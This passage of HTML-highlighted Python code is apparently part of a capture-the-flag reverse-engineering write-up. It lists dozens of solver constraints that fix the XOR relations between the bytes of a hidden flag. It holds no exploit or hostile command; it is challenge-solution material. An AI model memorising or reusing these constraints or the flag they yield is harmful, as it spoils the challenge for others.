number\">0x5</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1c</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x37</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1d</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x14</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x25</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x9</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x37</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x29</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x2c</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x13</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x21</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x0</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x33</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x44</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x39</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x32</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5e</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x27</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x21</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3e</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x4</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x19</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x52</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xe</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x7</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1b</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x24</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x17</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x30</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x11</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x56</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x18</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2a</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1b</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x38</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x18</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x18</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x34</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5d</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x28</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x45</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1a</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x9</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x63</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xd</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x22</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3b</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1e</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x23</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3e</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1e</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x35</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x2d</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x6</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x13</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2a</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x18</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1b</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x32</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1d</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xa</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1d</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x29</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x38</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x24</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xe</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x21</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xc</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xc</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2e</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x58</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x36</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x19</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x68</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x35</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x16</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x2</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x30</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x24</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x6</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x11</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2d</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x46</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x5</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x18</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xc</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x18</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x0</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x34</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x10</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x42</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3a</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xb</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x48</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x21</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x12</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3e</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x34</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x16</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x44</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2a</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1a</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x45</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1e</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x13</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3e</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xc</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2d</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1c</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x19</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x39</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x4</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x20</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x8</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x26</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xb</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x26</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1e</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x23</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x29</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3e</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x38</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xf</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x58</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x39</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x17</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5f</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x22</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2b</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x57</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x39</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x15</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x40</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x10</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1b</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x11</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x6</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x41</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1f</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x9</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2c</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x13</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x10</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2c</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2b</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x42</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x37</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x34</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x47</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xa</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x23</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x27</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x22</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x9</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x24</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x21</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x2</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x32</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x21</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xc</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x25</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1f</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x0</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x36</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1b</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x36</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x33</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x3a</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x3</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2c</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x19</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x46</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xd</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xb</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x24</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1b</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x4</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xc</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x9</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x24</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x37</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x23</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0xc</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x15</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x39</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x40</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1a</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x17</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5b</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1f</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x35</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1a</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2a</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x1b</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x1b</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2c</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x14</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x2e</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x21</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x33</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x51</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x11</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x37</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x40</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x16</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x23</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x11</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0xc</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x19</span><span class=\"token punctuation\">]</span> <span class=\"token operator\">==</span> <span class=\"token number\">0x5e</span><span class=\"token punctuation\">)</span>\ns<span class=\"token punctuation\">.</span>add<span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x9</span><span class=\"token punctuation\">]</span><span class=\"token operator\">^</span>flag<span class=\"token punctuation\">[</span><span class=\"token number\">0x2</span><span class=\"token 